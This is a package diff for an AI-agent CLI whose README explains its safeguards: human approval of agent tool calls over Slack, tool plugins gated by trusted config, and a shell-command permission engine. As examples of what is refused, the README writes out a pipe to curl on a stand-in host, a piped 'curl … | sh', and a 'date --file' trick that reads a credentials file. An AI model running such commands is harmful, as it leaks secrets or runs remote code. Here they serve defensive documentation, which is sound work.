@stratusagent/cli 0.3.0 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,6 +2,8 @@
2
2
 
3
3
  Stratus Agent CLI — create always-on agents that get smarter over time. Quickly set up Stratus Agent on your machine, create new agents, connect AI providers, and configure channels.
4
4
 
5
+ <img width="2400" height="1004" alt="image" src="https://github.com/user-attachments/assets/ef16d58f-694c-406e-b201-aee61b093753" />
6
+
5
7
  ## Install
6
8
 
7
9
  Needs **Node.js 22.13+** — the gateway's session store uses `node:sqlite`, which runs unflagged from 22.13. On the 23.x line that landed separately, in **23.4**, so 23.0–23.3 are too old despite the higher number. Every package declares the range, and the CLI checks it at startup, so an unsupported Node gets a line naming what it needs rather than a missing-builtin error later on.
@@ -27,6 +29,96 @@ npm install -g @stratusagent/channel-slack
27
29
  If tokens are stored for an agent but the package isn't installed, `stratus
28
30
  serve` says so and starts anyway, serving every other channel.
29
31
 
32
+ ### Optional tool plugins
33
+
34
+ Capability is optional in the same way, and gated more tightly. A plugin runs
35
+ inside the daemon's process, so **installing one does not run it** — it runs
36
+ when a trusted config lists and enables it, and then only for the agents whose
37
+ souls name its tools:
38
+
39
+ ```bash
40
+ npm install -g @stratusagent/tool-fs @stratusagent/tool-web
41
+ ```
42
+
43
+ See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
44
+ each pack does.
45
+
46
+ ### Optional control API and dashboard
47
+
48
+ Same idea, and the same reason: installing it is how you say you want a port
49
+ open. With it present, `stratus serve` also serves an authenticated HTTP +
50
+ WebSocket API on `127.0.0.1:4123`.
51
+
52
+ ```bash
53
+ npm install -g @stratusagent/control-api @stratusagent/dashboard
54
+ ```
55
+
56
+ Two packages, because the API has three consumers and only one of them is a
57
+ web page — the macOS app and a headless VM want the API without a UI. Install
58
+ `@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
59
+ the API serves the web UI at `/` as well.
60
+
61
+ That API is what every non-terminal surface talks to — the web dashboard and
62
+ the macOS app alike. Its full reference (endpoints, auth, the event envelope)
63
+ lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
64
+
65
+ Two files appear while it is serving, both `0600`:
66
+
67
+ | File | What |
68
+ | --- | --- |
69
+ | `~/.stratus/gateway-token` | The bearer token clients authenticate with |
70
+ | `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
71
+
72
+ Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
73
+
74
+ ```jsonc
75
+ {
76
+ "api": {
77
+ "enabled": true,
78
+ "host": "127.0.0.1",
79
+ "port": 4123
80
+ }
81
+ }
82
+ ```
83
+
84
+ Like `approvals`, this block is read **only** from a config you chose
85
+ yourself — the global `~/.stratus/config.json` or one passed with `--config`.
86
+ An auto-discovered project-local `stratus.config.json` ships in any
87
+ repository, and which interface a daemon binds is not a decision a cloned repo
88
+ gets to make; one that tries is ignored, loudly.
89
+
90
+ Localhost is the posture. To reach a machine at home, put it behind a tunnel
91
+ (Tailscale is the pattern we recommend) rather than binding a public
92
+ interface.
93
+
94
+ ### The dashboard
95
+
96
+ ```bash
97
+ stratus dashboard
98
+ ```
99
+
100
+ It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
101
+ the foreground when there is none (and says which it did). Then it mints a
102
+ **single-use, short-lived sign-in link** and opens your browser at it — the
103
+ one thing a browser cannot do for itself, since page JavaScript cannot read
104
+ `~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
105
+
106
+ The link works once. Run the command again for another. A daemon restart signs
107
+ the browser out too, because its sessions live in memory.
108
+
109
+ ### Talking to a daemon from another machine
110
+
111
+ `stratus agents --gateway <url>` reads the roster from a running daemon
112
+ instead of resolving it locally — the same listing, answered by the API:
113
+
114
+ ```bash
115
+ stratus agents --gateway http://127.0.0.1:4123
116
+ ```
117
+
118
+ Locally that needs nothing else: the token comes from
119
+ `~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
120
+ token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
121
+
30
122
  ## Setup
31
123
 
32
124
  `stratus setup` is the whole onboarding, as a small navigable menu:
@@ -63,6 +155,7 @@ stratus run --provider anthropic --model claude-opus-5 "hello"
63
155
  stratus run --prompt "use the echo tool" --format json
64
156
  stratus serve # stratusd: the whole roster, always on
65
157
  stratus serve --idle-timeout 120 --no-events
158
+ stratus serve --approvals remote # ask a human in Slack instead of refusing
66
159
  stratus service install # keep stratusd running under launchd/systemd
67
160
  stratus service status
68
161
  stratus logs -f # what the daemon has been doing
@@ -89,15 +182,22 @@ riskier is refused, with a line in the log saying which agent wanted what:
89
182
  09:14:36 — warning: ava: shell.run is gated and nobody is available to approve it (session slack:ava:…)
90
183
  ```
91
184
 
92
- That is the honest behavior behind a service manager, where there is no
93
- terminal to prompt on. Asking a human through Slack and resuming the turn on
94
- their answer is the next piece of this; until then the daemon refuses rather
95
- than assumes.
185
+ That is the honest default behind a service manager, where there is no
186
+ terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
187
+ them instead — see [Asking a human](#asking-a-human-remote-approval).
96
188
 
97
189
  A tool that declares no risk counts as `gated`, never `safe` — forgetting to
98
- classify something should cost a prompt, not an unattended command. Every
99
- tool that ships today (`demo.echo`, `memory.remember`, `agent.delegate`) is
100
- `safe`, so nothing changes until you add one that isn't.
190
+ classify something should cost a prompt, not an unattended command. The
191
+ built-in tools (`demo.echo`, `memory.remember`, `agent.delegate`) are all
192
+ `safe`; anything you install is where this starts to bite, which is what the
193
+ [Tools](#tools-what-an-agent-can-actually-do) section below is about.
194
+
195
+ A **shell** is the exception to the whole paragraph, because its risk is in
196
+ its argument rather than in its identity. `shell.run` is `gated`, and the
197
+ permission engine then judges each command: a safe scope (`git status`,
198
+ `git log`) runs unattended, everything else asks, and a control operator
199
+ anywhere in the string disqualifies it however innocent the base command is.
200
+ See [Which commands run unattended](#which-commands-run-unattended).
101
201
 
102
202
  The line is *acting outside Stratus* — the filesystem, the network, another
103
203
  service — not cost. Every turn spends provider tokens, including the one
@@ -108,7 +208,278 @@ calls face this policy again under their allowlist, and the chain is depth
108
208
  bounded.
109
209
 
110
210
  `stratus chat` and `stratus run` are unaffected: at a terminal, `--approvals`
111
- works exactly as before.
211
+ works exactly as before (`always`, `ask`, `never`).
212
+
213
+ ### Asking a human: remote approval
214
+
215
+ In `remote` mode a gated call does not fail — the turn parks, the request is
216
+ posted to Slack with **Allow once**, **Always allow**, and **Deny**, and the
217
+ turn resumes on the answer. The question goes to the thread the turn is
218
+ happening in, so whoever is talking to the agent sees it where they already
219
+ are.
220
+
221
+ Turn it on for the daemon with `--approvals remote`, or in
222
+ `~/.stratus/config.json` so the installed service picks it up too:
223
+
224
+ ```jsonc
225
+ {
226
+ "approvals": {
227
+ "mode": "remote", // headless (default) or remote
228
+ "timeoutMs": 900000, // unanswered after 15 minutes → denied (max 2147483647)
229
+ "slackApprovers": ["U01OPS"], // who may decide, for every agent
230
+ "slackChannel": "C07OPS", // where to ask when the turn isn't in Slack
231
+ "agents": {
232
+ "ava": { "slackApprovers": ["U01DYLAN"] }
233
+ }
234
+ }
235
+ }
236
+ ```
237
+
238
+ An agent inherits the top-level route key by key, so `ava` above asks her own
239
+ approver in the shared `C07OPS` fallback channel. An explicit
240
+ `"slackApprovers": []` on an agent excludes it from the default list — that
241
+ agent's gated calls are then denied outright — while omitting the key
242
+ inherits.
243
+
244
+ **Only a config you chose is allowed to set this block** — `--config`,
245
+ `STRATUS_CONFIG`, or the global `~/.stratus/config.json`. An auto-discovered
246
+ project-local `stratus.config.json` outranks the global one for provider
247
+ settings, but it can be checked into any repository, and appointing the
248
+ people who may authorize an agent's tool calls is not something a clone gets
249
+ to do. Its `approvals` block is ignored, with a warning naming the file.
250
+
251
+ Three things are worth knowing before you turn it on:
252
+
253
+ - **Approvers are people, not places.** Posting into a channel does not make
254
+ everyone in it an approver: each request is bound to the ids configured for
255
+ that agent, and anyone else's click is refused with a notice only they see.
256
+ The request stays open for someone who may actually answer it. This matters
257
+ most for **Always allow**, which widens what the agent may do unattended.
258
+ - **An agent with no approver configured is denied immediately**, not left to
259
+ time out — `remote` with nobody listed behaves exactly like `headless`. If
260
+ no channel can ask for an agent at all (no Slack tokens for it, or
261
+ `@stratusagent/channel-slack` not installed) there is nothing to render the
262
+ request, so its gated calls wait out the timeout instead. The daemon names
263
+ those agents at startup, rather than leaving you to find out at 3am:
264
+
265
+ ```text
266
+ approvals: remote — gated calls are parked and asked in Slack (approvers set for ava)
267
+ ```
268
+ - **A parked turn survives a restart.** The daemon records what has not run
269
+ before it asks, so an approval outstanding when it stops is finished when
270
+ it starts again — the question is re-asked in Slack, the call runs on the
271
+ answer, and anything queued behind it still runs too. The re-asked request
272
+ keeps the window it started with rather than getting a fresh one, and a
273
+ wait that has already used up its `timeoutMs` is denied instead of
274
+ re-asked: downtime is not a reason to extend a security decision.
275
+ - **A turn that was mid-flight is failed, not left hanging.** Parking is the
276
+ one state a restart can resume from — a turn that stopped anywhere else
277
+ (waiting on the provider, inside a tool, or on an approval asked by an
278
+ agent billed through a Claude subscription, which is deliberately not
279
+ checkpointed) cannot be. Those sessions come back marked `failed`, with a
280
+ reason saying stratusd stopped while they were running and to send the
281
+ message again, rather than claiming to still be running forever. This is
282
+ only for an ungraceful stop: a normal restart denies what is parked and
283
+ finishes the turns those denials release before it exits. The thread hears
284
+ about it too: a turn that fails with nobody rendering it is reported where
285
+ it was asked, rather than going quiet and reading as an agent that never
286
+ replied.
287
+ - **A button left behind by a dead daemon corrects itself when clicked.** A
288
+ normal shutdown retracts its buttons; a crash cannot, and the new process
289
+ has no record of what the old one posted. Clicking such a prompt tells you
290
+ it is no longer pending *and* rewrites the message so the next reader is
291
+ not offered a decision nothing is waiting for. A prompt nobody clicks
292
+ stays as it is.
293
+ - **Always allow means different things for a tool and for a command.** For
294
+ an ordinary tool it lasts for the session: it stops that tool asking again
295
+ in the same conversation, and it is forgotten when the daemon restarts.
296
+ For a call that carries a command — `shell.run` — it persists a *scope*
297
+ instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
298
+ restart. See below for what a scope keeps out.
299
+
300
+ The request shows the tool's **arguments**, not just its name — for anything
301
+ whose danger lives in what it was called with, approving a bare tool name is
302
+ approving something you cannot see. Arguments are escaped (a model-written
303
+ argument cannot mention or broadcast to the workspace through the prompt)
304
+ and truncated with a visible notice when they are long.
305
+
306
+ Requests are also denied — visibly, with a reason — when they expire, when
307
+ the turn is cancelled, when the daemon shuts down, and when a turn reaches a
308
+ gated call while the daemon is already stopping. Every one of those retracts
309
+ the buttons in Slack, so a message never keeps offering a decision with
310
+ nowhere to land.
311
+
312
+ `timeoutMs` is capped at 2147483647 (~24.8 days), the longest timer Node can
313
+ hold. A larger value is rejected at startup rather than accepted: it would
314
+ not wait longer, it would expire every approval almost immediately.
315
+
316
+ Approval buttons need the Slack app's **Interactivity** switched on. Apps
317
+ created from the manifest that `stratus setup` prints already have it; an app
318
+ created before this shipped needs it enabled once, in its App Manifest.
319
+
320
+ ## Tools: what an agent can actually do
321
+
322
+ Out of the box an agent can echo, remember, and delegate. Everything else —
323
+ files, a shell, the web, a browser — arrives as a **plugin**: one package you
324
+ install, list, and enable.
325
+
326
+ ```bash
327
+ npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
328
+ @stratusagent/tool-web @stratusagent/tool-browser
329
+ ```
330
+
331
+ ```jsonc
332
+ // ~/.stratus/config.json
333
+ {
334
+ "plugins": {
335
+ "@stratusagent/tool-fs": {
336
+ "enabled": true,
337
+ "roots": ["~/notes"],
338
+ "agents": {
339
+ "ava": { "roots": ["~/work/ava"] },
340
+ "juno": { "roots": ["~/work/juno", "~/shared"] }
341
+ }
342
+ },
343
+ "@stratusagent/tool-web": { "enabled": true },
344
+ "@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
345
+ }
346
+ }
347
+ ```
348
+
349
+ Keyed by **package name**, because a plugin's identity is its package and one
350
+ may contribute more than tools. Per-agent settings go in an `agents` sub-block
351
+ over the defaults above them — the same shape `approvals` already uses, and it
352
+ matters more here: for `tool-fs` those values are an access boundary between
353
+ agents rather than a preference.
354
+
355
+ **Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
356
+ the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
357
+ so this list is a list of code, and an auto-discovered project-local
358
+ `stratus.config.json` ships with any repository you clone. Its `plugins` block
359
+ is ignored, with a warning naming the file, exactly as `api` and `approvals`
360
+ are.
361
+
362
+ `stratus run` and `stratus chat` load the same plugins from the same config, so
363
+ a tool that works locally works in the daemon, and one that is missing is
364
+ missing in both.
365
+
366
+ ### Installing a plugin grants no agent anything
367
+
368
+ The soul's allowlist is the second gate, and the per-identity one:
369
+
370
+ ```markdown
371
+ ---
372
+ id: ava
373
+ tools: [fs.read, fs.search, web.fetch]
374
+ ---
375
+ ```
376
+
377
+ `fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
378
+ editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
379
+ never matches `fsx.read`. Listing nothing grants every registered tool, which
380
+ is fine for a private agent and is not what you want once a shell is installed.
381
+
382
+ ### What is available
383
+
384
+ | Package | Tools | Risk |
385
+ | --- | --- | --- |
386
+ | [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
387
+ | | `fs.write` | `gated` |
388
+ | [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
389
+ | [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
390
+ | [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
391
+ | | `browser.act` | `dangerous` — always a human |
392
+
393
+ Each package's README carries its own settings and the reasoning behind its
394
+ risk levels. Three things are worth knowing here:
395
+
396
+ - **`tool-fs` roots are a boundary, not a preference.** No roots means no
397
+ filesystem — nothing is readable, rather than everything. Containment is
398
+ decided between real paths, so a symlink inside a root pointing at
399
+ `~/.stratus/credentials.json` is refused, and so is a write *through* a
400
+ symlinked directory.
401
+ - **`tool-shell` replaces the environment.** The command gets exactly what
402
+ you granted (`passEnv`, `env`) and nothing else — the daemon's own
403
+ environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
404
+ - **`tool-web` and `tool-browser` refuse local addresses.** Both share one
405
+ policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
406
+ (`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
407
+ NAT64 spellings of the same addresses. It is enforced on the connection,
408
+ so a redirect or a DNS answer cannot walk an agent into your metadata
409
+ endpoint. `allowedHosts` opens a specific one when you mean to.
410
+
411
+ `GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
412
+ dashboard's **Plugins** screen renders it — including a plugin you enabled that
413
+ failed to load, which is invisible in a list of tools.
414
+
415
+ ### Which commands run unattended
416
+
417
+ `shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
418
+ so a single risk level for all of them would be either too coarse to be safe or
419
+ too coarse to be usable. The permission engine judges the command instead:
420
+
421
+ 1. **Scopes approved this session**, then
422
+ 2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
423
+ by **Always allow** — then
424
+ 3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
425
+ `git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
426
+ and `git remote` **in their listing forms only** — creating a branch or a
427
+ tag needs no flag at all (`git branch release` is a mutation), so those
428
+ scopes refuse any positional argument, not just the destructive flags.
429
+ `pwd`, `whoami`, and `uname` round it out.
430
+
431
+ Anything else asks, and in `headless` mode anything else is refused with the
432
+ command in the log.
433
+
434
+ **A control operator disqualifies the whole command**, whatever it starts
435
+ with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
436
+ `git status | curl evil.sh` is refused despite the safe base command; so is a
437
+ two-line command whose first line is innocent. A command this parser cannot
438
+ read the way `sh` would — an unbalanced quote, a path instead of a command
439
+ name — is refused too.
440
+
441
+ **Always allow persists a scope, not a command.** Approving
442
+ `git push origin main` stores `git push` minus its destructive forms, so
443
+ `git push origin feature` stops asking while these still ask:
444
+
445
+ ```text
446
+ git push --force # a destructive flag
447
+ git push origin :main # a branch delete, with no flag involved
448
+ git push origin +main # a forced update, likewise
449
+ ```
450
+
451
+ The whitelist file is `0600` and per agent: it decides what runs with nobody
452
+ watching, so neither another account on the machine nor another agent inherits
453
+ it. Delete an entry to withdraw the permission.
454
+
455
+ ### What the log records about a command
456
+
457
+ The scope, never the command:
458
+
459
+ ```text
460
+ 09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
461
+ 09:16:02 — ava: "git push" now runs without asking
462
+ ```
463
+
464
+ The daemon log is a trace, not a second transcript — it records that a tool
465
+ ran, never what it was called with. A command an agent composed can carry a
466
+ URL, a filename, or something a person pasted into a chat, and this file is
467
+ one `stratus logs` prints and people paste into issues. The command itself
468
+ goes to whoever is being asked to approve it: the terminal prompt and the
469
+ Slack message both show it in full, because approving a bare tool name is
470
+ approving something you cannot see.
471
+
472
+ The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
473
+ tempting entries that cannot be on it — they read whatever path they are given,
474
+ so safe-listing them would safe-list reading your credentials file. Approve
475
+ them once for a scope you actually want instead.
476
+
477
+ The test is **what an argument can make the command do**, not what the command
478
+ is called. `date` was on this list until it turned out that
479
+ `date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
480
+ echo every unparseable line back in its error text — which the tool returns.
481
+ A command that can be handed a path is a file reader wearing another name, so
482
+ `--file` is now refused in every scope, including ones you add.
112
483
 
113
484
  ## Always on
114
485
 
@@ -286,6 +657,44 @@ You are a sharp, warm generalist. Answer first, explain second...
286
657
 
287
658
  Agents remember: facts saved with the built-in `memory.remember` tool persist to `~/.stratus/memory.jsonl`, keyed to the agent — so the Ava you talk to tomorrow remembers today, from any directory.
288
659
 
660
+ **Ids are not labels.** Frontmatter may set `id:` explicitly, and it keys the
661
+ agent's sessions, memory, credentials, Slack tokens, and every per-agent path
662
+ on disk. So it has to stay one path segment, and one ordinary map key: an id
663
+ may not start with a dot or contain a slash, a backslash, a control
664
+ character, or leading or trailing whitespace, and it may not be a name every
665
+ object already answers to (`__proto__`, `constructor`, `toString`). Anything that would leave its directory is rejected when the soul
666
+ loads rather than quietly cleaned up — `id: ../../escape` is refused, not
667
+ rewritten to `escape`.
668
+
669
+ Anything else is yours. An id like `Ava_1` or `team.alpha` is unusual but
670
+ harmless, and it is already keying that agent's sessions and sign-ins, so it
671
+ is left exactly as written. Omit `id:` and one is derived from the name as a
672
+ plain slug (`ava`); a generated agent's id is also capped at 64 characters,
673
+ but a slug derived from a name you chose is used whole, because shortening
674
+ an id moves the agent it belongs to.
675
+
676
+ Creating an agent checks the id against every id the served roster holds,
677
+ not against the filenames on disk: what the roster files *declare* (a soul
678
+ at `renamed.md` can declare `id: ava`), the configured default soul even
679
+ when its file lives elsewhere, and the reserved `stratus`. A new agent gets
680
+ a suffixed id (`ava-3f9c`) rather than one that would collide. Its name
681
+ stays the one you chose.
682
+
683
+ **Two souls cannot share an id.** That is not two agents; it is one agent
684
+ whose memory and sign-ins belong to whichever file sorted first. The roster
685
+ refuses to load and names both files, `stratus serve` will not start,
686
+ `stratus doctor` reports it, and `stratus setup` → Channels offers no
687
+ agents at all — nothing is servable while the roster is ambiguous, so
688
+ connecting a Slack app would configure something that cannot run. Neither
689
+ command offers to clear "unmatched" Slack tokens in that state either: a
690
+ roster that would not load cannot prove which ids are missing, and the
691
+ tokens at risk belong to agents that are perfectly fine. (An unreadable *single* soul still degrades to a
692
+ warning — one broken file never takes the team down. A collision has no
693
+ correct winner, which is the difference.) The built-in `stratus` id is
694
+ reserved: souls claiming it are skipped — including two of them, since
695
+ neither was going to get the id, so their agreeing on it is not a collision
696
+ to refuse over.
697
+
289
698
  ## Options
290
699
 
291
700
  | Flag | Purpose |
@@ -295,19 +704,30 @@ Agents remember: facts saved with the built-in `memory.remember` tool persist to
295
704
  | `--model` | Model for real providers (anthropic default: `claude-opus-5`) |
296
705
  | `--base-url` | Override the provider API base URL |
297
706
  | `--config <file>` | Load settings from a specific config file |
298
- | `--approvals` | Tool approval mode: `always`, `ask`, or `never` |
707
+ | `--approvals` | `run`/`chat`: tool approval mode — `always`, `ask`, or `never`. `serve`: how the daemon reaches a human — `headless` (refuse gated calls) or `remote` (ask in Slack); overrides the config's `approvals.mode` |
299
708
  | `--max-turns` | Max provider turns per run (default 8) |
300
709
  | `--format` | `text` or `json` |
301
710
  | `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
302
711
  | `--no-events` | Hide the event log |
303
712
  | `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
713
+ | `--no-api` | `stratus serve`: do not serve the control API |
714
+ | `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
715
+ | `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
716
+ | `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
717
+ | `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
718
+ | `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
304
719
  | `--no-login` | `stratus service install`: install without the start-at-login trigger |
305
720
  | `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
306
721
  | `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
307
722
  | `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
308
723
 
724
+ Tool plugins have no flags: what is installed is a config decision (`plugins`
725
+ in a trusted config) and what an agent may call is a soul decision (`tools:`).
726
+ Neither is something a single run should be able to widen from the command
727
+ line.
728
+
309
729
  Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
310
730
 
311
- Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, and the local dashboard. More channels — and one control API that every surface talks to — are next.
731
+ Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
312
732
 
313
733
  Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
package/dist/index.d.ts CHANGED
@@ -1,5 +1,5 @@
1
1
  import { type JsonValue, type Session, type StratusEvent } from '@stratusagent/core';
2
- import { type CredentialProviderName, type RuntimeConfig, type StratusProviderName } from '@stratusagent/state';
2
+ import { type CredentialProviderName, type RuntimeSelection, type RuntimeConfig, type StratusProviderName } from '@stratusagent/state';
3
3
  import { type ServiceRunner } from './service.ts';
4
4
  export { installService, launchdPlist, readServiceStatus, servicePlatform, serviceUnitPath, startService, stopService, systemdUnit, uninstallService, SERVICE_LABEL, type ServiceRunner, type ServiceStatus, } from './service.ts';
5
5
  export { createLogWriter, currentLogPosition, truncateRedirectLogs, formatLogRecord, parseLogLines, readRecentRecords, tailLog, type LogRecord, } from './logs.ts';
@@ -50,7 +50,17 @@ export interface ParsedRunCommand {
50
50
  export interface ParsedDashboardCommand {
51
51
  command: 'dashboard';
52
52
  port?: number;
53
- host: string;
53
+ /**
54
+ * Present only when `--host` was actually given.
55
+ *
56
+ * A defaulted string here would be indistinguishable from an explicit
57
+ * `--host 127.0.0.1`, and the two mean opposite things when a trusted
58
+ * config says `api.host: "0.0.0.0"`: absent means "let the config decide",
59
+ * while explicit means "bind loopback, whatever the config says". Collapsing
60
+ * them exposed the API on every interface to an operator who had just asked
61
+ * for the opposite.
62
+ */
63
+ host?: string;
54
64
  openBrowser: boolean;
55
65
  }
56
66
  export interface ParsedSetupCommand {
@@ -78,6 +88,14 @@ export interface ParsedChatCommand {
78
88
  export interface ParsedAgentsCommand {
79
89
  command: 'agents';
80
90
  format: 'text' | 'json';
91
+ /**
92
+ * Ask a running gateway instead of resolving locally. The first
93
+ * remote-consuming command: the same listing, rendered from the control
94
+ * API's answer rather than from this machine's files.
95
+ */
96
+ gateway?: string;
97
+ /** Bearer token override, for a gateway whose token file is not local. */
98
+ token?: string;
81
99
  }
82
100
  export interface ParsedDoctorCommand {
83
101
  command: 'doctor';
@@ -102,24 +120,29 @@ export interface ParsedLogsCommand {
102
120
  sessionId?: string;
103
121
  format: 'text' | 'json';
104
122
  }
123
+ export type ServeApprovalMode = 'headless' | 'remote';
105
124
  export interface ParsedServeCommand {
106
125
  command: 'serve';
107
126
  configPath?: string;
127
+ /** Overrides `approvals.mode` in the config file. */
128
+ approvals?: ServeApprovalMode;
108
129
  /** Watchdog idle timeout in milliseconds. 0 disables. */
109
130
  idleTimeoutMs?: number;
110
131
  events: boolean;
111
132
  /** Write the structured log to ~/.stratus/logs. Defaults to true. */
112
133
  logToFile?: boolean;
134
+ /** Serve the control API. Defaults to true when the package is installed. */
135
+ api?: boolean;
136
+ /** Overrides `api.port` in the config file. */
137
+ apiPort?: number;
138
+ /** Overrides `api.host` in the config file. */
139
+ apiHost?: string;
113
140
  }
114
141
  export interface ParsedHelpCommand {
115
142
  command: 'help';
116
143
  }
117
144
  export type ParsedCommand = ParsedRunCommand | ParsedChatCommand | ParsedDashboardCommand | ParsedSetupCommand | ParsedAgentNewCommand | ParsedAgentsCommand | ParsedDoctorCommand | ParsedLogsCommand | ParsedServiceCommand | ParsedServeCommand | ParsedHelpCommand;
118
- export interface DashboardServerHandle {
119
- url: string;
120
- close: () => Promise<void>;
121
- }
122
- export declare const CLI_VERSION = "0.3.0";
145
+ export declare const CLI_VERSION = "0.6.0";
123
146
  /**
124
147
  * The range every package declares in its `engines` field. Two floors, not
125
148
  * one: `node:sqlite` was unflagged in 22.13.0 on the LTS line and in 23.4.0
@@ -141,11 +164,20 @@ export declare const SUPPORTED_NODE_RANGE = ">=22.13 <23 || >=23.4";
141
164
  * string is a bad reason to refuse to run.
142
165
  */
143
166
  export declare const unsupportedNodeMessage: (version: string) => string | undefined;
144
- declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --no-events, --no-log-file,\n --config <path>); everything it says is also written to\n ~/.stratus/logs, which \"stratus logs\" reads\n service Keep stratusd running under launchd (macOS) or systemd\n (Linux): install, uninstall, status, start, stop.\n Installing starts it now and at every login\n (--no-login installs without the login trigger,\n --config <path> pins the daemon to one config file)\n logs Read the daemon's log from any terminal: -f to follow,\n -n <count> for backlog, --agent / --session to filter,\n --format json for the raw records\n agent new Create an agent identity (generates a human-ish name + avatar theme)\n agents List your agents: who they are, where their souls live, what\n they run on, what they remember (also: stratus agent list)\n doctor Show what a run would use right now \u2014 provider, model, soul \u2014\n and which file or environment variable decided each, then\n flag anything that would surprise you (--format json)\n dashboard Start the local Stratus Agent dashboard and open it in your browser\n help Show this help message\n\nAgent options:\n --name Agent name (omit to have one generated)\n --instructions The agent's persona/instructions\n --format Output format for agent new: text, json, or soul (a ready-to-edit soul file)\n\nOptions:\n --prompt, -p Prompt to send to the local agent loop\n --stdin Read the prompt from stdin\n --provider Provider to use: anthropic, openai, or demo\n --model Model name for real providers (anthropic default: claude-opus-5, openai default: gpt-4.1-mini)\n --base-url Override the provider API base URL\n --soul Run as the agent defined by a soul file (markdown + frontmatter, see examples/souls)\n --config Config file path (run: load settings from it, setup: write it)\n --format Output format: text or json (default: text)\n --no-events Hide event-by-event progress lines in text mode\n --approvals Tool approval mode: always, ask, or never (default: always)\n --max-turns Maximum provider turns per run (default: 8)\n --port Dashboard port, defaults to an open local port\n --host Dashboard host (default: 127.0.0.1)\n --no-open Do not open the browser automatically\n --help, -h Show this help message\n\nConfig file:\n The CLI looks for ./stratus.config.json first, then a path from --config / STRATUS_CONFIG,\n then the global ~/.stratus/config.json written by `stratus setup`.\n A \"soul\" key (or STRATUS_SOUL) points at a soul file so every run uses that agent.\n Legacy STRATUSCLAW_* env vars and stratusclaw.config.json are still supported for compatibility.\n\nSoul files:\n A soul file is markdown with frontmatter (name, provider, model, tools, credentials)\n followed by the agent's persona in prose. See examples/souls/ava.md.\n";
167
